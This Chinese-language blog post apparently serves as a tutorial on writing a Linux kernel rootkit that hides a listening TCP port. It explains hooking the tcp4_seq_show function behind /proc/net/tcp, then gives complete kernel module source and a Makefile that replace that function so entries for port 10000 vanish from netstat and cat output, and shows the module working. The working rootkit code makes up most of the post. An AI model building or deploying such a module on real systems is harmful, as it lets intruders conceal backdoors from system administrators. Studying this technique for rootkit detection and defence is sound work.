1. 基本原理
rootkit隐藏的基本步骤是:
- hook掉某一个系统函数,用自己的函数代替
- 自己的函数调用原函数,然后对于原函数的结果进行处理
- 返回处理结果
2. 实现
2.1 应该hook哪一个函数呢?
可以hook的函数有很多,如果我们使用strace命令来查看cat /proc/net/tcp
的话,可以看到它使用了read和write函数,那么我们可以从hook掉sys_read系统调用或者sys_write系统调用。
当然,如果我们知道无论是cat命令查看端口还是netstat查看端口,都是读取/proc/net/tcp
文件的话,那么我们就可以hook该文件的钩子函数来实现隐藏端口的目的了。
根据相关资料,/proc/net/tcp
文件通过tcp4_proc_init_net
函数初始化,它将tcp4_seq_afinfo
注册关联给了该文件,而tcp4_seq_afinfo
结构的show
函数是tcp4_seq_show
函数,具体可以去https://elixir.bootlin.com/linux/v4.15/source
中查询。
那么我们应该hook掉tcp4_seq_show函数
相关资料
https://blog.wohin.me/posts/linux-rootkit-02-04/
https://guanjunjian.github.io/2017/11/09/study-8-proc-net-tcp-analysis/
2.2 tcp4_seq_show函数简单分析
tcp4_seq_show函数代码如下,位于/net/ipv4/tcp_ipv4.c
的2335行
#define TMPSZ 150
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
struct tcp_iter_state *st;
struct sock *sk = v;
seq_setwidth(seq, TMPSZ - 1);
if (v == SEQ_START_TOKEN) {
seq_puts(seq, " sl local_address rem_address st tx_queue "
"rx_queue tr tm->when retrnsmt uid timeout "
"inode");
goto out;
}
st = seq->private;
if (sk->sk_state == TCP_TIME_WAIT)
get_timewait4_sock(v, seq, st->num);
else if (sk->sk_state == TCP_NEW_SYN_RECV)
get_openreq4(v, seq, st->num);
else
get_tcp4_sock(v, seq, st->num);
out:
seq_pad(seq, '\n');
return 0;
}
从中可以简单看到它的逻辑是:
- 首先延长seq_file中的缓存空间TMPSZ大小(可以简单理解为一条记录的大小为TMPSZ)
- 写入相应的信息
- 返回
通过多次调用该函数将/proc/net/tcp
下的文件信息全部写入到seq_file中
2.3 hook实现
/**
* 本模块的目标是隐藏TCP 10000号端口
* 主要是通过hook tcp4_seq_show函数来实现
* /proc/net/tcp文件的操作函数的show函数
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/seq_file.h>
#include <linux/fs.h>
#include <net/tcp.h>
#include <linux/proc_fs.h>
#define NET_ENTRY "/proc/net/tcp"
#define SEQ_AFINFO_STRUCT struct tcp_seq_afinfo
#define set_afinfo_seq_op(op, path, afinfo_struct, new, old) \
do { \
struct file *filp; \
afinfo_struct *afinfo; \
filp = filp_open(path, O_RDONLY, 0); \
if (IS_ERR(filp)) { \
printk("Failed to open %s with error %ld.\n", \
path, PTR_ERR(filp)); \
old = NULL; \
} else { \
afinfo = PDE_DATA(filp->f_path.dentry->d_inode); \
old = afinfo->seq_ops.op; \
printk("Setting seq_op->"#op" from %p to %p.", old, new); \
afinfo->seq_ops.op = new; \
filp_close(filp, 0); \
} \
} while (0)
#define NEEDLE_LEN 6
#define SECREAT_PORT 10000
// TMPSZ定义在net/ipv4/tcp_ipv4.c中,大小为150,表示每一项的大小为150
#define TMPSZ 150
int (*real_seq_show)(struct seq_file *seq, void *v);
int fake_seq_show(struct seq_file *seq, void *v) {
printk("in fake_seq_show");
int ret;
char needle[NEEDLE_LEN];
snprintf(needle, NEEDLE_LEN, ":%04X", SECREAT_PORT);
printk("needle: %s\n", needle);
printk("origin count: %d\n", seq->count);
ret = real_seq_show(seq, v);
printk("seq->buf: %s\n", seq->buf);
printk("seq->count: %d\n", seq->count);
if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
printk("Hiding port %d using needle %s.\n", SECREAT_PORT, needle);
seq->count -= TMPSZ;
printk("new seq_count: %d\n", seq->count);
}
return ret;
}
static int __init init_hook(void) {
set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, fake_seq_show, real_seq_show);
return 0;
}
static void __exit exit_hook(void) {
printk("goodbye hacker!!!");
if (real_seq_show) {
void *dummy;
set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, real_seq_show, dummy);
}
}
module_init(init_hook);
module_exit(exit_hook);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Bunner");
CONFIG_MODULE_SIG=n
obj-m += hide_port.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
2.4 hook结果
首先通过nc命令监听一个端口
nc -l -p 10000
接着使用netstat命令查看端口状态
可以看到并没有显示10000端口的信息,通过dmesg查看内核日志
可以看到10000端口的记录被删除了
标签:seq,show,端口,tcp,hook,rootkit,printk,隐藏,afinfo From: https://www.cnblogs.com/bunner/p/17240557.html